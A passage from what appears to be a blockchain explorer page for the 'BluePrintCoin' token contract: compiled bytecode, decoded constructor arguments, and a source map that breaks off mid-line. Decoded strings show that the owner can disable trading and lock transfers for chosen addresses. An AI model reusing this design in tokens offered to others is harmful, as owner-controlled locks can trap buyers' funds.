a900460ff16610562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055990611806565b60405180910390fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ac6113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061f90611746565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156106aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a190611786565b60405180910390fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442101561072c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072390611766565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461077b91906118ee565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107d19190611898565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108226113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461086b91906118ee565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108cf9190611846565b60405180910390a3600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61094a6113aa565b73ffffffffffffffffffffffffffffffffffffffff16610968610a7c565b73ffffffffffffffffffffffffffffffffffffffff16146109be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b5906117a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610ab4906119aa565b80601f0160208091040260200160405190810160405280929190818152602001828054610ae0906119aa565b8015610b2d5780601f10610b0257610100808354040283529160200191610b2d565b820191906000526020600020905b815481529060010190602001808311610b1057829003601f168201915b5050505050905090565b610b3f6113aa565b73ffffffffffffffffffffffffffffffffffffffff16610b5d610a7c565b73ffffffffffffffffffffffffffffffffffffffff1614610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa906117a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1a906117e6565b60405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000905550565b6000600460009054906101000a900460ff16610cba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb190611806565b60405180910390fd5b8160016000610cc76113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3a90611786565b60405180910390fd5b60036000610d4f6113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421015610dcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc390611766565b60405180910390fd5b8160016000610dd96113aa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e2291906118ee565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e789190611898565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610e9e6113aa565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ee39190611846565b60405180910390a36001905092915050565b610efd6113aa565b73ffffffffffffffffffffffffffffffffffffffff16610f1b610a7c565b73ffffffffffffffffffffffffffffffffffffffff1614610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f68906117a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd8906117c6565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6110316113aa565b73ffffffffffffffffffffffffffffffffffffffff1661104f610a7c565b73ffffffffffffffffffffffffffffffffffffffff16146110a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109c906117a6565b60405180910390fd5b80600460006101000a81548160ff02191690831515021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112a90611826565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112096113aa565b73ffffffffffffffffffffffffffffffffffffffff16611227610a7c565b73ffffffffffffffffffffffffffffffffffffffff161461127d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611274906117a6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156112ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e490611726565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b6000813590506113c181611ca5565b92915050565b6000813590506113d681611cbc565b92915050565b6000813590506113eb81611cd3565b92915050565b60006020828403121561140757611406611a3a565b5b6000611415848285016113b2565b91505092915050565b6000806040838503121561143557611434611a3a565b5b6000611443858286016113b2565b9250506020611454858286016113b2565b9150509250929050565b60008060006060848603121561147757611476611a3a565b5b6000611485868287016113b2565b9350506020611496868287016113b2565b92505060406114a7868287016113dc565b9150509250925092565b600080604083850312156114c8576114c7611a3a565b5b60006114d6858286016113b2565b92505060206114e7858286016113dc565b9150509250929050565b60006020828403121561150757611506611a3a565b5b6000611515848285016113c7565b91505092915050565b61152781611922565b82525050565b61153681611934565b82525050565b60006115478261187c565b6115518185611887565b9350611561818560208601611977565b61156a81611a3f565b840191505092915050565b6000611582602683611887565b915061158d82611a50565b604082019050919050565b60006115a5602183611887565b91506115b082611a9f565b604082019050919050565b60006115c8603183611887565b91506115d382611aee565b604082019050919050565b60006115eb601f83611887565b91506115f682611b3d565b602082019050919050565b600061160e602083611887565b915061161982611b66565b602082019050919050565b6000611631602883611887565b915061163c82611b8f565b604082019050919050565b6000611654602b83611887565b915061165f82611bde565b604082019050919050565b6000611677601d83611887565b915061168282611c2d565b602082019050919050565b600061169a602f83611887565b91506116a582611c56565b604082019050919050565b6116b981611960565b82525050565b6116c88161196a565b82525050565b60006020820190506116e3600083018461151e565b92915050565b60006020820190506116fe600083018461152d565b92915050565b6000602082019050818103600083015261171e818461153c565b905092915050565b6000602082019050818103600083015261173f81611575565b9050919050565b6000602082019050818103600083015261175f81611598565b9050919050565b6000602082019050818103600083015261177f816115bb565b9050919050565b6000602082019050818103600083015261179f816115de565b9050919050565b600060208201905081810360008301526117bf81611601565b9050919050565b600060208201905081810360008301526117df81611624565b9050919050565b600060208201905081810360008301526117ff81611647565b9050919050565b6000602082019050818103600083015261181f8161166a565b9050919050565b6000602082019050818103600083015261183f8161168d565b9050919050565b600060208201905061185b60008301846116b0565b92915050565b600060208201905061187660008301846116bf565b92915050565b600081519050919050565b600082825260208201905092915050565b60006118a382611960565b91506118ae83611960565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118e3576118e26119dc565b5b828201905092915050565b60006118f982611960565b915061190483611960565b925082821015611917576119166119dc565b5b828203905092915050565b600061192d82611940565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561199557808201518184015260208101905061197a565b838111156119a4576000848401525b50505050565b600060028204905060018216806119c257607f821691505b602082108114156119d6576119d5611a0b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6360008201527f6500000000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e736665722069732063757272656e746c79207265737472696374656460008201527f20666f7220746869732061646472657373000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e7420657863656564732062616c616e636500600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f43616e6e6f742073657420546672746e74747420666f7220746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f742072656d6f766520546672746e74747420666f7220746865207a60008201527f65726f2061646472657373000000000000000000000000000000000000000000602082015250565b7f54726164696e672069732063757272656e746c792064697361626c6564000000600082015250565b7f43616e6e6f7420717565727920546672746e7474742074696d6520666f72207460008201527f6865207a65726f20616464726573730000000000000000000000000000000000602082015250565b611cae81611922565b8114611cb957600080fd5b50565b611cc581611934565b8114611cd057600080fd5b50565b611cdc81611960565b8114611ce757600080fd5b5056fea2646970667358221220b135452f7cfb8b8874d8a883ef9b3c95b3acad4abe0d65c311812fb86f8685a864736f6c63430008050033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000d426c75655072696e74436f696e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004426c756500000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): BluePrintCoin
Arg [1] : symbol_ (string): Blue
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 1000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 000000000000000000000000000000000000000000000000000000003b9aca00
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000d
Arg [5] : 426c75655072696e74436f696e00000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 426c756500000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

3761:4916:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5200:96;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6278:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7655:220;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6555:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7986:688;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6464:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6663:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3112:148;;;:::i;:::-;;2650:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6369;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5728:207;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6889:546;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5403:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5041:102;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6019:217;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7504:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3395:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5200:96;5249:4;5273:15;;;;;;;;;;;5266:22;;5200:96;:::o;6278:83::-;6315:13;6348:5;6341:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6278:83;:::o;7655:220::-;7730:4;7784:6;7747:11;:25;7759:12;:10;:12::i;:::-;7747:25;;;;;;;;;;;;;;;:34;7773:7;7747:34;;;;;;;;;;;;;;;:43;;;;7829:7;7806:39;;7815:12;:10;:12::i;:::-;7806:39;;;7838:6;7806:39;;;;;;:::i;:::-;;;;;;;;7863:4;7856:11;;7655:220;;;;:::o;6555:100::-;6608:7;6635:12;;6628:19;;6555:100;:::o;7986:688::-;8084:4;8109:15;;;;;;;;;;;8101:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;8214:6;8177:11;:19;8189:6;8177:19;;;;;;;;;;;;;;;:33;8197:12;:10;:12::i;:::-;8177:33;;;;;;;;;;;;;;;;:43;;8169:89;;;;;;;;;;;;:::i;:::-;;;;;;;;;8298:6;8277:9;:17;8287:6;8277:17;;;;;;;;;;;;;;;;:27;;8269:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;8378:18;:26;8397:6;8378:26;;;;;;;;;;;;;;;;8359:15;:45;;8351:107;;;;;;;;;;;;:::i;:::-;;;;;;;;;8492:6;8471:9;:17;8481:6;8471:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;8533:6;8509:9;:20;8519:9;8509:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;8587:6;8550:11;:19;8562:6;8550:19;;;;;;;;;;;;;;;:33;8570:12;:10;:12::i;:::-;8550:33;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;8626:9;8609:35;;8618:6;8609:35;;;8637:6;8609:35;;;;;;:::i;:::-;;;;;;;;8662:4;8655:11;;7986:688;;;;;:::o;6464:83::-;6505:5;6530:9;;;;;;;;;;;6523:16;;6464:83;:::o;6663:119::-;6729:7;6756:9;:18;6766:7;6756:18;;;;;;;;;;;;;;;;6749:25;;6663:119;;;:::o;3112:148::-;2866:12;:10;:12::i;:::-;2855:23;;:7;:5;:7::i;:::-;:23;;;2847:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3219:1:::1;3182:40;;3203:6;::::0;::::1;;;;;;;;3182:40;;;;;;;;;;;;3250:1;3233:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3112:148::o:0;2650:87::-;2696:7;2723:6;;;;;;;;;;;2716:13;;2650:87;:::o;6369:::-;6408:13;6441:7;6434:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6369:87;:::o;5728:207::-;2866:12;:10;:12::i;:::-;2855:23;;:7;:5;:7::i;:::-;:23;;;2847:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5832:1:::1;5813:21;;:7;:21;;;;5805:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;5900:18;:27;5919:7;5900:27;;;;;;;;;;;;;;;5893:34;;;5728:207:::0;:::o;6889:546::-;6975:4;7000:15;;;;;;;;;;;6992:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;7095:6;7068:9;:23;7078:12;:10;:12::i;:::-;7068:23;;;;;;;;;;;;;;;;:33;;7060:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;7175:18;:32;7194:12;:10;:12::i;:::-;7175:32;;;;;;;;;;;;;;;;7156:15;:51;;7148:113;;;;;;;;;;;;:::i;:::-;;;;;;;;;7301:6;7274:9;:23;7284:12;:10;:12::i;:::-;7274:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;7342:6;7318:9;:20;7328:9;7318:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;7387:9;7364:41;;7373:12;:10;:12::i;:::-;7364:41;;;7398:6;7364:41;;;;;;:::i;:::-;;;;;;;;7423:4;7416:11;;6889:546;;;;:::o;5403:215::-;2866:12;:10;:12::i;:::-;2855:23;;:7;:5;:7::i;:::-;:23;;;2847:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5518:1:::1;5499:21;;:7;:21;;;;5491:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;5606:4;5576:18;:27;5595:7;5576:27;;;;;;;;;;;;;;;:34;;;;5403:215:::0;;:::o;5041:102::-;2866:12;:10;:12::i;:::-;2855:23;;:7;:5;:7::i;:::-;:23;;;2847:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5128:7:::1;5110:15;;:25;;;;;;;;;;;;;;;;;;5041:102:::0;:::o;6019:217::-;6082:7;6129:1;6110:21;;:7;:21;;;;6102:81;;;;;;;;;;;;:::i;:::-;;;;;;;;;6201:18;:27;6220:7;6201:27;;;;;;;;;;;;;;;;6194:34;;6019:217;;;:::o;7504:143::-;7585:7;7612:11;:18;7624:5;7612:18;;;;;;;;;;;;;;;:27;7631:7;7612:27;;;;;;;;;;;;;;;;7605:34;;7504:143;;;;:::o;3395:244::-;2866:12;:10;:12::i;:::-;2855:23;;:7;:5;:7::i;:::-;:23;;;2847:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3504:1:::1;3484:22;;:8;:22;;;;3476:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;3594:8;3565:38;;3586:6;::::0;::::1;;;;;;;;3565:38;;;;;;;;;;;;3623:8;3614:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;3395:244:::0;:::o;1674:168::-;1727:15;1770:10;1755:26;;1674:168;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:133::-;195:5;233:6;220:20;211:29;;249:30;273:5;249:30;:::i;:::-;201:84;;;;:::o;291:139::-;337:5;375:6;362:20;353:29;;391:33;418:5;391:33;:::i;:::-;343:87;;;;:::o;436:329::-;495:6;544:2;532:9;523:7;519:23;515:32;512:2;;;550:79;;:::i;:::-;512:2;670:1;695:53;740:7;731:6;720:9;716:22;695:53;:::i;:::-;685:63;;641:117;502:263;;;;:::o;771:474::-;839:6;847;896:2;884:9;875:7;871:23;867:32;864:2;;;902:79;;:::i;:::-;864:2;1022:1;1047:53;1092:7;1083:6;1072:9;1068:22;1047:53;:::i;:::-;1037:63;;993:117;1149:2;1175:53;1220:7;1211:6;1200:9;1196:22;1175:53;:::i;:::-;1165:63;;1120:118;854:391;;;;;:::o;1251:619::-;1328:6;1336;1344;1393:2;1381:9;1372:7;1368:23;1364:32;1361:2;;;1399:79;;:::i;:::-;1361:2;1519:1;1544:53;1589:7;1580:6;1569:9;1565:22;1544:53;:::i;:::-;1534:63;;1490:117;1646:2;1672:53;1717:7;1708:6;1697:9;1693:22;1672:53;:::i;:::-;1662:63;;1617:118;1774:2;1800:53;1845:7;1836:6;1825:9;1821:22;1800:53;:::i;:::-;1790:63;;1745:118;1351:519;;;;;:::o;1876:474::-;1944:6;1952;2001:2;1989:9;1980:7;1976:23;1972:32;1969:2;;;2007:79;;:::i;:::-;1969:2;2127:1;2152:53;2197:7;2188:6;2177:9;2173:22;2152:53;:::i;:::-;2142:63;;2098:117;2254:2;2280:53;2325:7;2316:6;2305:9;2301:22;2280:53;:::i;:::-;2270:63;;2225:118;1959:391;;;;;:::o;2356:323::-;2412:6;2461:2;2449:9;2440:7;2436:23;2432:32;2429:2;;;2467:79;;:::i;:::-;2429:2;2587:1;2612:50;2654:7;2645:6;2634:9;2630:22;2612:50;:::i;:::-;2602:60;;2558:114;2419:260;;;;:::o;2685:118::-;2772:24;2790:5;2772:24;:::i;:::-;2767:3;2760:37;2750:53;;:::o;2809:109::-;2890:21;2905:5;2890:21;:::i;:::-;2885:3;2878:34;2868:50;;:::o;2924:364::-;3012:3;3040:39;3073:5;3040:39;:::i;:::-;3095:71;3159:6;3154:3;3095:71;:::i;:::-;3088:78;;3175:52;3220:6;3215:3;3208:4;3201:5;3197:16;3175:52;:::i;:::-;3252:29;3274:6;3252:29;:::i;:::-;3247:3;3243:39;3236:46;;3016:272;;;;;:::o;3294:366::-;3436:3;3457:67;3521:2;3516:3;3457:67;:::i;:::-;3450:74;;3533:93;3622:3;3533:93;:::i;:::-;3651:2;3646:3;3642:12;3635:19;;3440:220;;;:::o;3666:366::-;3808:3;3829:67;3893:2;3888:3;3829:67;:::i;:::-;3822:74;;3905:93;3994:3;3905:93;:::i;:::-;4023:2;4018:3;4014:12;4007:19;;3812:220;;;:::o;4038:366::-;4180:3;4201:67;4265:2;4260:3;4201:67;:::i;:::-;4194:74;;4277:93;4366:3;4277:93;:::i;:::-;4395:2;4390:3;4386:12;4379:19;;4184:220;;;:::o;4410:366::-;4552:3;4573:67;4637:2;4632:3;4573:67;:::i;:::-;4566:74;;4649:93;4738:3;4649:93;:::i;:::-;4767:2;4762:3;4758:12;4751:19;;4556:220;;;:::o;4782:366::-;4924:3;4945:67;5009:2;5004:3;4945:67;:::i;:::-;4938:74;;5021:93;5110:3;5021:93;:::i;:::-;5139:2;5134:3;5130:12;5123:19;;4928:220;;;:::o;5154:366::-;5296:3;5317:67;5381:2;5376:3;5317:67;:::i;:::-;5310:74;;5393:93;5482:3;5393:93;:::i;:::-;5511:2;5506:3;5502:12;5495:19;;5300:220;;;:::o;5526:366::-;5668:3;5689:67;5753:2;5748:3;5689:67;:::i;:::-;5682:74;;5765:93;5854:3;5765:93;:::i;:::-;5883:2;5878:3;5874:12;5867:19;;5672:220;;;:::o;5898:366::-;6040:3;6061:67;6125:2;6120:3;6061:67;:::i;:::-;6054:74;;6137:93;6226:3;6137:93;:::i;:::-;6255:2;6250:3;6246:12;6239:19;;6044:220;;;:::o;6270:366::-;6412:3;6433:67;6497:2;6492:3;6433:67;:::i;:::-;6426:74;;6509:93;6598:3;6509:93;:::i;:::-;6627:2;6622:3;6618:12;6611:19;;6416:220;;;:::o;6642:118::-;6729:24;6747:5;6729:24;:::i;:::-;6724:3;6717:37;6707:53;;:::o;6766:112::-;6849:22;6865:5;6849:22;:::i;:::-;6844:3;6837:35;6827:51;;:::o;6884:222::-;6977:4;7015:2;7004:9;7000:18;6992:26;;7028:71;7096:1;7085:9;7081:17;7072:6;7028:71;:::i;:::-;6982:124;;;;:::o;7112:210::-;7199:4;7237:2;7226:9;7222:18;7214:26;;7250:65;7312:1;7301:9;7297:17;7288:6;7250:65;:::i;:::-;7204:118;;;;:::o;7328:313::-;7441:4;7479:2;7468:9;7464:18;7456:26;;7528:9;7522:4;7518:20;7514:1;7503:9;7499:17;7492:47;7556:78;7629:4;7620:6;7556:78;:::i;:::-;7548:86;;7446:195;;;;:::o;7647:419::-;7813:4;7851:2;7840:9;7836:18;7828:26;;7900:9;7894:4;7890:20;7886:1;7875:9;7871:17;7864:47;7928:131;8054:4;7928:131;:::i;:::-;7920:139;;7818:248;;;:::o;8072:419::-;8238:4;8276:2;8265:9;8261:18;8253:26;;8325:9;8319:4;8315:20;8311:1;8300:9;8296:17;8289:47;8353:131;8479:4;8353:131;:::i;:::-;8345:139;;8243:248;;;:::o;8497:419::-;8663:4;8701:2;8690:9;8686:18;8678:26;;8750:9;8744:4;8740:20;8736:1;8725:9;8721:17;8714:47;8778:131;8904:4;8778:131;:::i;:::-;8770:139;;8668:248;;;:::o;8922:419::-;9088:4;9126:2;9115:9;9111:18;9103:26;;9175:9;9169:4;9165:20;9161:1;9150:9;9146:17;9139:47;9203:131;9329:4;9203:131;:::i;:::-;9195:139;;9093:248;;;:::o;9347:419::-;9513:4;9551:2;9540:9;9536:18;9528:26;;9600:9;9594:4;9590:20;9586:1;9575:9;9571:17;9564:47;9628:131;9754:4;9628:131;:::i;:::-;9620:139;;9518:248;;;:::o;9772:419::-;9938:4;9976:2;9965:9;9961:18;9953:26;;10025:9;10019:4;10015:20;10011:1;10000:9;9996:17;9989:47;10053:131;10179:4;10053:131;:::i;:::-;10045:139;;9943:248;;;:::o;10197:419::-;10363:4;10401:2;10390:9;10386:18;10378:26;;10450:9;10444:4;10440:20;10436:1;10425:9;10421:17;10414:47;10478:131;10604:4;10478:131;:::i;:::-;10470:139;;10368:248;;;:::o;10622:419::-;10788:4;10826:2;10815:9;10811:18;10803:26;;10875:9;10869:4;10865:20;10861:1;10850:9;10846:17;10839:47;10903:131;11029:4;10903:131;:::i;:::-;10895:139;;10793:248;;;:::o;11047:419::-;11213:4;11251:2;11240:9;11236:18;11228:26;;11300:9;11294:4;11290:20;11286:1;11275:9;11271:17;11264:47;11328:131;11454:4;11328:131;:::i;:::-;11320:139;;11218:248;;;:::o;11472:222::-;11565:4;11603:2;11592:9;11588:18;11580:26;;11616:71;11684:1;11673:9;11669:17;11660:6;11616:71;:::i;:::-;11570:124;;;;:::o;11700:214::-;11789:4;11827:2;11816:9;11812:18;11804:26;;11840:67;11904:1;11893:9;11889:17;11880:6;11840:67;:::i;:::-;11794:120;;;;:::o;12001:99::-;12053:6;12087:5;12081:12;12071:22;;12060:40;;;:::o;12106:169::-;12190:11;12224:6;12219:3;12212:19;12264:4;12259:3;12255:14;12240:29;;12202:73;;;;:::o;12281:305::-;12321:3;12340:20;12358:1;12340:20;:::i;:::-;12335:25;;12374:20;12392:1;12374:20;:::i;:::-;12369:25;;12528:1;12460:66;12456:74;12453:1;12450:81;12447:2;;;12534:18;;:::i;:::-;12447:2;12578:1;12575;12571:9;12564:16;;12325:261;;;;:::o;12592:191::-;12632:4;12652:20;12670:1;12652:20;:::i;:::-;12647:25;;12686:20;12704:1;12686:20;:::i;:::-;12681:25;;12725:1;12722;12719:8;12716:2;;;12730:18;;:::i;:::-;12716:2;12775:1;12772;12768:9;12760:17;;12637:146;;;;:::o;12789:96::-;12826:7;12855:24;12873:5;12855:24;:::i;:::-;12844:35;;12834:51;;;:::o;12891:90::-;12925:7;12968:5;12961:13;12954:21;12943:32;;12933:48;;;:::o;12987:126::-;13024:7;13064:42;13057:5;13053:54;13042:65;;13032:81;;;:::o;13119:77::-;13156:7;13185:5;13174:16;;13164:32;;;:::o;13202:86::-;13237:7;13277:4;13270:5;13266:16;13255:27;;13245:43;;;:::o;13294:307::-;13362:1;13372:113;13386:6;13383:1;13380:13;13372:113;;;13471:1;13466:3;13462:11;13456:18;13452:1;13447:3;13443:11;13436:39;13408:2;13405:1;13401:10;13396:15;;13372:113;;;13503:6;13500:1;13497:13;13494:2;;;13583:1;13574:6;13569:3;13565:16;13558:27;13494:2;13343:258;;;;:::o;13607:320::-;13651:6;13688:1;13682:4;13678:12;13668:22;;13735:1;13729:4;13725:12;13756:18;13746:2;;13812:4;13804:6;13800:17;13790:27;;13746:2;13874;13866:6;13863:14;13843:18;13840:38;13837:2;;;13893:18;;:::i;:::-;13837:2;13658:269;;;;:::o;13933:180::-;13981:77;13978:1;13971:88;14078:4;14075:1;14068:15;14102:4;14099:1;14092:15;14119:180;14167:77;14164:1;14157:88;14264:4;14261:1;14254:15;14288:4;14285:1;14278:15;14428:117;14537:1;14534;14527:12;14551:102;14592:6;14643:2;14639:7;14634:2;14627:5;14623:14;14619:28;14609:38;;14599:54;;;:::o;14659:225::-;14799:34;14795:1;14787:6;14783:14;14776:58;14868:8;14863:2;14855:6;14851:15;14844:33;14765:119;:::o;14890:220::-;15030:34;15026:1;15018:6;15014:14;15007:58;15099:3;15094:2;15086:6;15082:15;15075:28;14996:114;:::o;15116:236::-;15256:34;15252:1;15244:6;15240:14;15233:58;15325:19;15320:2;15312:6;15308:15;15301:44;15222:130;:::o;15358:181::-;15498:33;15494:1;15486:6;15482:14;15475:57;15464:75;:::o;15545:182::-;15685:34;15681:1;15673:6;15669:14;15662:58;15651:76;:::o;15733:227::-;15873:34;15869:1;15861:6;15857:14;15850:58;15942:10;15937:2;15929:6;15925:15;15918:35;15839:121;:::o;15966:230::-;16106:34;16102:1;16094:6;1609